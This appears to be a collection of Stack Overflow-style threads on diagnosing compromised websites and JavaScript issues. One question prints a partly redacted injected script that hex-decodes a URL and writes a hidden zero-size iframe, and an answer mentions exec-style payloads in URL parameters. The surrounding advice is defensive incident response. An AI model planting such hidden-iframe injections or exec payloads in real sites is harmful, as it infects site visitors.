I'm having a problem with the website I'm helping manage. Visitors are getting a JavaScript Obfuscation warning from our site. We haven't purposely obfuscated any of our code, which only leaves a malicious attack as the probable cause. It doesn't look like our antivirus is going to fix the problem. I'm not finding a whole lot of useful information on this issue online. What should I do to address this? Is there some utility that would work for a Linux server that may help us find the source of the problem, and remove the threat?
The first step is to compare what is on your server now to what you put there originally. That should tell you whether it's in the same state you originally deployed.
If it is not in the same state, put it back in that state (e.g. by getting source from version control) and conduct a full security audit.
If indeed the code is what you originally put there, it is possible that a third-party JavaScript library that you are using (or your own libraries if you minify your code using certain techniques) is triggering a false positive with an anti-virus product. If that is the case, figure out which anti-virus soultion(s) trigger a warning and submit a false-positive report to that vendor. Every major anti-virus vendor has a means to submit false positive reports online. They are typically acted on within a few days.
Related
Is there a way to detect if the HTML DOM is being modified by malware on the end user's system? I have a HTTPS protected website and recently encountered a support call where the user was seeing advertisements in my website. I have no ads in my website and we ended up running an anti virus scan on the end user's system which found and cleaned many infections after which the ads disappeared. I am unfortunately unable to provide any code samples because I don't even know where to start.
It is possible to detect DOM modifications using MutationObservers (supported by all major vendors).
It might be hard to detect which modification are malicious and which are not, though.
Perhaps something to look into: depending on how the malware works, you might be able to prevent the insertion (or at least execution) of script tags. This might stop naive malware but it's a cat and mouse game.
When it comes down to it, you cannot control what happens on a computer you don't control. Sufficiently advanced malware will detect your attempt to detect it and will lie to you about the results.
that said, there are some techniques you can apply to try and make it harder for the attacker.
write your own code that knows what the that knows what your dom is supposed to look like. attacker will stop your code from running.
update the code so that interacts with your application server every so many seconds. attacker will duplicate this piece of the code and stop the original check from running.
update your code to perform a complex operation that requires a minimum known amount of time. the attacker will respond same as above
intermingle your checking code with your business logic and obfuscate everything. the attacker can create their own UI that interacts with your server and show that instead of your ui
now, just because you're on the losing side of the battle, that doesn't mean it is useless. it really depends upon who might be attacking your server, and how many resources they want to spend on the arms race with you compared to how many resources you want to spend against them
I'm going to come clean and admit that out of sheer ignorance I've been flying blind with my websites until recently when I deployed a site with Elmah (an error logging facility for ASP.NET) and a controller on the server to send all uncaught JavaScript exceptions. This was an eyeopening experience to say the least.
One of my sites is getting about 150-200 visitors a day. About once a day I get an Elmah JavaScript stacktrace similar to this one:
CCS.Exceptions.JavaScriptException: Unspecified error.: at document path
'http://www.*******.com/*****'. at anonymous('Unspecified error.',
'http://ajax.googleapis.com/ajax/libs/jqueryui/1.9.0/jquery-ui.min.js', '5')
at anonymous()
I'm relatively new to JavaScript and web development in general so I'd appreciate some advice:
How should I go about getting to the root cause of problems like this? Any advice for debugging problems in production (specifically JavaScript)?
Where would you rank this on the scale of importance? I realize that question is almost impossible to answer without knowing everything on my plate. But what I'm hoping for is advice for prioritizing this kind of stuff. Is my hair on fire? Or, "Meh, this is really common and given all of the browsers and OSes these days this kind of thing is bound to happen."
The chances are pretty good that each one of these exceptions is a web page that is NOT working as designed. In order to understand that priority, you need to understand the following:
What percentage of page views are being affected?
What are the specific exceptions and what trouble do they cause?
How important is that trouble to your business.
How much time will it take to identify and fix these and how does the business importance of that compare with other projects on your plate?
In general, you won't know the answers to any of these questions without further research so you'll either have to decide that all exceptions that aren't fully understood are a bad thing and should at least be understood.
Or, you'll have to decide to launch an investigative project to get more information related to these questions and then decide whether to fix it or not.
Or, you'll have to decide that you just havne't heard enough reports of problems with your web site to warrant any further investigation (I personally don't like this option because you're guessing that it doesn't matter).
Without knowing much detail about your business, my recommendation would be to budget and plan an investigation project to learn where these errors are coming from and understand their impact on the usability of the site. Making decisions with some data in hand is way better than guessing.
As for debugging, you ultimately need to find out which line of code is triggering the exception. You also may want to record what browser configuration is generating the error (in case it's a browser version related issue). You can start by understand what each piece of information in your stacktrace report means and what it tells you and then find out if you can enable more detailed tracking of the exceptions in the Elmah system. If not and you can figure out approximately where the error's are coming from, you can implement your own exception logging that might be able to capture additional information.
You may also browse through any trouble ticket reports you have on the site because there may be some internal or external reports of problems with the site that might be correlated with these exceptions.
JavaScript errors can be difficult to get to the bottom of. The best thing you can do is ensure that your JavaScript is written cleanly and put everything into namespaces to keep your window object as clean as possible and avoid variable hoisting which is a common issue when JavaScript libraries get unruly. Below is the preferred namespace pattern that I use across the board -
/* Namespace pattern */
var myAppNamespace = myAppNamespace || {};
(function(ns) {
ns.doSomething = function() {
// enter code here
};
}(myAppNamespace));
/* Usage */
myAppNamespace.doSomething();
We recently got a call from one of our clients, complaining that their site has some "strange looking code" at the bottom of the page. We checked out the source code, and discovered that about 800 bytes of malicious javascript code had been appended to the templates/master file, after the </html> tag. I won't post said code because it looked particularly nasty.
As far as I can tell, there would be no way for this file to be edited in any way, unless someone had direct access to the server and/or FTP login details. The actual file itself has been modified, so that rules out any kind of SQL attack. Besides a person physically gaining credentials and hand-modifying this file, would there be any other logical explaination for what happened? Has anyone else had experience with something like this happening?
The places I'd check are:
File modification times (to see when it happened)
HTTP server logs for signs of funny-looking GET params (eg, ?foo=exec('...'))
FTP server logs
SSH logs (something similar happened to me once, and it was because someone gave out their password)
Also, I'd immediately restrict write access to all the site's files, just to be safe from the same attack (of course, the vector is still open, but it's better than nothing).
If the attacker doesn't have other file access, it's likely that there is an exploit in the code somewhere that allows the user to execute arbitrary code. Use of passthru(), exec() and eval() are common problems here. If there is FTP running on the same machine, that's typically a strong attack vector as well.
I'm not sure that I would categorically rule out a SQL attack (especially a reflected one combined with the above exploits), but it's not clear that it would be one, either.
To your question, it could be either automated or personally targeted, it's hard to say with the level of detail given. As others have said, switch out as many passwords as you can, restrict access to the server, and then start inspecting logs to see where things went wrong. That will be more successful than ripping apart the app itself.
You don't specify, but if you are you shouldn't be using FTP on a production server anyway because it's inherently unsafe (among other things it transmits credentials in plaintext, making you easily prey to a sniffing attack). Always use SFTP.
If you are using plain FTP this is most likely the attack vector, particularly as modifying the files is all that as happened. If your machine has been completely penetrated I'd have expected to see more than that.
Almost certainly compromised credentials allowing someone to alter the code remotely. Is the server located on site?
Here is how I see it.
Using an FTP program? Your ftp log files storing passwords, paths ect.. gets grabbed. The passwords get decoded.
Try not to store FTP passwords in the FTP client. Or do like above, use SFTP.
We had a similar issue and seems to have come from one computer with a set of FTP logins. Also as this computer had many previous odd issues with it. Javascript would not work right, odd session timeouts or simply removed. Which to me indicates this computer had something on it.
Do make sure to find and remove any suspicious files in your website. If they had access to FTP, most likely they left a backdoor script somewhere which would enable them to upload/modify files on your website via a specific URL even after you change your FTP password or switch to using SFTP.
Try running the script found here if you're using PHP.
To detect a existing malicious code, I recommend that you use a good anti-malware scan engine on the server to detect malicious code on the website´s files.
Many times, the server isn't vulnerable, but the website is! To prevent this, use a Web Application Firewall that can take a look on every request to detect and block a attack attempt.
This question already has answers here:
Closed 13 years ago.
Duplicate:
Do web sites really need to cater for browsers that don’t have Javascript enabled?
Only supporting users who have Javascript enabled.
How common is it for Javascript to be disabled
How many people disable Javascript?
I've been doing web applications on and off for a few years now and each application I write seems to have more javascript than the previous one.
A frequent comment is: "But what if the user turns off Javascript?".
I take the point, but I've never actually seen a user do this. Not once.
Have you?
This comes up about every other week or so. Did you search first?
See these:
https://stackoverflow.com/questions/121108/how-many-people-disable-javascript
https://stackoverflow.com/questions/379735/how-common-is-it-for-javascript-to-be-disabled
Only supporting users who have Javascript enabled
Do web sites really need to cater for browsers that don't have Javascript enabled?
The main points are:
Google doesn't use javascript when indexing
Mobile browsers (smart phones like the iPhone) sometimes have bad or non-existent javascript
Screen readers don't do javascript well, if at all, and many developers are legally required to support them.
Thanks to filters like NoScript, the number of people browsing with javascript disabled (at least initially) may actually be going up.
So yes, you still need to worry about it.
It depends entirely on what sort of coverage you require.
Do you need 80% 90% 100% of users to be able to use your site / application?
People DO turn off Javascript. The question is, does your site need to work for those people? Can it just tell them to turn it on if they want to continue?
Yes, it happens.
NoScript is a Firefox add-on - downloaded by plenty of people.
No Script
You should always make sure your site works without javascript.
People turn javascript off for security reasons. Companys sometimes have javascript forced off at their inhouse computers. Also spiders don't have javascript so your site not working without javascript is bad SEO practice.
5% of users have JavaScript turned off.
It has become a standard at my office (for better or for worse) to assume that the user has JS installed and turned on. The number of people who have it turned off is getting smaller and smaller every day, but this still doesn't mean that you should forgo performing the necessary validation for submission on the server side as well just in case (as well as some other scenarios).
I would say that it is not safe to assume javascript is always on, but it is safe to REQUIRE javascript be turned on.
In other words, you don't need to jump through hoops to make something work without it, just display a message or redirect.
Javascript is an essential technology, and it's not unreasonable to require it.
It's rare, but it's possible. If you are launching an application for "everyone" to use on the internet, then yes, you'll have to prepare for such an event. It really depends on your target audience, but the safest assumption is that someone will have it turned off.
From a security perspective, you definitely need to handle this situation, as turning off JavaScript (or worse yet hijacking the scripts you wrote) is an easy to bypass business logic and validation, if it isn't double checked on the server. Requiring it to be turned on is not a good enough defense for stopping people in this situation. Remember you're requesting that the browser tells you what it enabled and disabled. The user (or attacker in this case) is in control of the browser, and you can't trust what it says as it's easy to modify the HTTP headers.
Depends on who your target audience is. Some users turn off JS for various reasons. Usually, they will enable it for individual sites that need it, but they might not do that if you don't tell them they need it.
If your site just fails to load correctly, they'll assume it's broken. If it shows a "you need JS to view this page" message, then at least they'll know what to do.
Some will then enable Javascript for your site specifically, but some won't, and they simply won't be able to use your site, unless it is functional without Javascript.
It's rare, but it happens. It really depends on who your user base is. If it's for corporate users, a lot of them have default security settings with javascript disabled. If it's for... pretty much anyone else, odds are they'll have it turned on.
I run by default with javascript off for new sites (NoScript) plugin. I think many tech-savvy users do the same. At least the ones who are paranoid about XSS attacks.
It is best practice to code for users that have JavaScript turned off.
As web developer your goal should be to provide the core basic functionality (without JavaScript). This enables all users to fully use your site. Then through the use of JavaScript, in a process known as "progressive enhancement", spruce up elements of the site for users that have JavaScript turned on.
And in the case where JavaScript is off...your site should gracefully degrade.
Web development is one of those arenas where you can't expect anything. Code for all users to maximise your site's accessibility.
I have a website, and I just discovered that somehow someone injected JavaScript on my page. How can I figure out what it does and how they did it?
<script> var x = unescape("%68% (**** some other hex characters here
****%74%2e%63%6e%2f%76%69%64");document.write("<i"+"fr"+"am"+"e
s"+"r"+"c=\""+x+"/ind"+"e"+"x.p"+"hp\" w"+"id"+"th=\"0\" he"+"i"+"ght=\"0\"
fr"+"a"+"m"+"ebor"+"de"+"r=\"0\"><"+"/ifra"+"m"+"e>"); </script>
Which I'm not sure how got there. Anyone know how it got there? and what I can do to remove it?
You need to know this now:
We see this at Linode quite a bit, and it's an indication that your server has been compromised by an attacker. When unescaped, it's likely to be a browser exploit that will infect your users, or a link to a spam site.
Save everything with the injected code for later analysis, and redeploy your entire server and Web stack immediately. The attacker undoubtedly has at least a shell on your box, and that will inevitably lead to root if he's crafty.
Redeploy now, keep your applications up to date, stop writing exploitable PHP, and lock down your user accounts with strong passwords or SSH keys. Not trying to pimp my company or anything, but this is such a common occurrence on poorly-managed Web boxen that we've written an article about how to completely redeploy from scratch. I suggest it several times a day.
EDIT: If you're downvoting me, please say why -- I've triaged three cases with this exact code, so I'm not making things up.
EDIT 2: There is one regard where I may be overestimating the situation, and it's only because I'm an employee of a VPS company (and I see this a lot). I made a mistake in assuming that this user's "Web host" was a server under his control, not shared hosting. That was a mistake, but there still is the chance that I'm right.
Compromise is a desperate situation where working in the dark can have disastrous consequences. If you do not know why an unauthorized party gained access to your infrastructure, you cannot rectify the problem. Since everyone assumed we're talking about managed, shared hosting here -- there is the chance that you're right and XSS is to blame. Again, the question was not presented with much data, and compromise is a situation that is not treated with enough gravity among developers in general.
I'm honestly tired of tickets that we open where a box is hitting another on the Internet with SSH probes, DoS data, URL injection, or anything for that matter -- and the Rails or PHP developer administering the box has no idea why it happened or what he can do about it. These are all things that indicate system compromise, not XSS. Therefore, my assumption that this was a server under the OP's control was misplaced, but it's forgivable (I hope) because I'm at work right now, handling those tickets.
If you'd like me to delete my answer, just say so, but I don't see any others getting votes.
Since you mentioned PHP, I'll run through a list of possible ways it could have happened. This list is not all-inclusive; but it will allow you to do a fair amount of investigation into what happened.
It's possible your web host was hacked and this was placed into your page through lax security on their part. However, do not assume this is the case. This should be your last resort.
It's probably your fault. I don't say this to point blame; but the sooner we developers realize we're the cause of our problems, the better off we'll all be. The only developer I don't trust is the one that says he doesn't make mistakes.
Your site was probably hit with an XSS attack.
Do you have any way for a user to type in information on your website? Do you use any textboxes or anything that would allow input from the user?
If so, then your site is vulnerable to XSS and other attacks. Here's a 'cheat-sheet' that will tell you general things you can do to mitigate this.
You should not allow any user data to pass to the database without being parametrized.
If you're going to allow a user to insert HTML, then you need to sanitize it.
Don't use magic quotes.
There are many ways this could have happened, but without more information, I'm going off of what you've written.
Steps:
Take the app offline.
Query your database to see how many pages / entries this has been injected into.
Check through your code for the things I mention.
Fix those.
Go through your database and take out any suspect lines (a SQL script would be easiest).
Re-deploy App.
Make sure you keep an eye on your webserver logs. They're a godsend to determining where the attack came from.
Are you using any 3rd party applications that have security holes? For example, a while back we had an issue with an old version of FCK editor, set up in the default location with all the samples folders in place that were being used to upload bad files.
The obfuscated part unescapes to "t.cn/vid"
As I see your pages are been injected in code, so this was done because there is a security hole in your server or in any application running on it. The hacker has writing capabilities to your scripts and the solution can be so easy as changing your FTP password or so complex as searching for a hole in any application installed in your server.
But first try to change your FTP password, Change it by a very hard to guess one, at least 12 characters long with any special character on it. I have heard that there was a brute force attack being directed from russian hackers that was injecting scripts in the headers of the pages to redirect the users to any other sites for any obscure purpose.
It's less likely that this was done through your own code (since the code, nor the possible exploits for this are usually not widely known -- but that's obviously no reason not to secure it), but do a check for common but outdated apps (WordPress, Drupal, ...) on your account.
I've encountered something similar a few days ago, it turned out that there was an old WordPress (v2.0 I think) blog installed through which they could gain access.
If you can, also check your server logs for the time that your PHP files on the server were last modified. In my case, it gave a clear record of how they entered and what to do against it.